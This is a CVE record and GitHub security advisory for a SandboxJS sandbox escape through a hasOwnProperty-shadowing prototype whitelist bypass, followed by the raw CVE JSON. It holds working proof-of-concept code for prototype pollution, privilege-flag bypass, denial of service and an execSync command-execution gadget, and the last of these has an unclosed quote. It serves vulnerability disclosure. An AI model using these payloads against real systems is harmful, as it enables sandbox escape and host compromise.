2026-02-06 19:54CVE-2026-25586GitHub_M
PUBLISHED5.2CWE-74

SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.

Problem type

Affected products

nyariv

SandboxJS

< 0.8.29 - AFFECTED

References

GitHub Security Advisories

GHSA-jjpw-65fv-8g48

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

https://github.com/advisories/GHSA-jjpw-65fv-8g48

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

RCE via host gadget (prototype pollution -> execSync)

const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-25586
Click to expand
{
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "cveMetadata": {
    "cveId": "CVE-2026-25586",
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "dateUpdated": "2026-02-06T20:17:19.095Z",
    "dateReserved": "2026-02-03T01:02:46.715Z",
    "datePublished": "2026-02-06T19:54:38.446Z",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "providerMetadata": {
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M",
        "dateUpdated": "2026-02-06T19:54:38.446Z"
      },
      "title": "SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution",
      "descriptions": [
        {
          "lang": "en",
          "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29."
        }
      ],
      "affected": [
        {
          "vendor": "nyariv",
          "product": "SandboxJS",
          "versions": [
            {
              "version": "< 0.8.29",
              "status": "affected"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
              "cweId": "CWE-74",
              "type": "CWE"
            }
          ]
        }
      ],
      "references": [
        {
          "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48",
          "name": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48",
          "tags": [
            "x_refsource_CONFIRM"
          ]
        },
        {
          "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3",
          "name": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3",
          "tags": [
            "x_refsource_MISC"
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "CHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL"
          }
        }
      ]
    },
    "adp": [
      {
        "providerMetadata": {
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP",
          "dateUpdated": "2026-02-06T20:17:19.095Z"
        },
        "title": "CISA ADP Vulnrichment",
        "references": [
          {
            "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48",
            "tags": [
              "exploit"
            ]
          }
        ],
        "metrics": [
          {}
        ]
      }
    ]
  }
}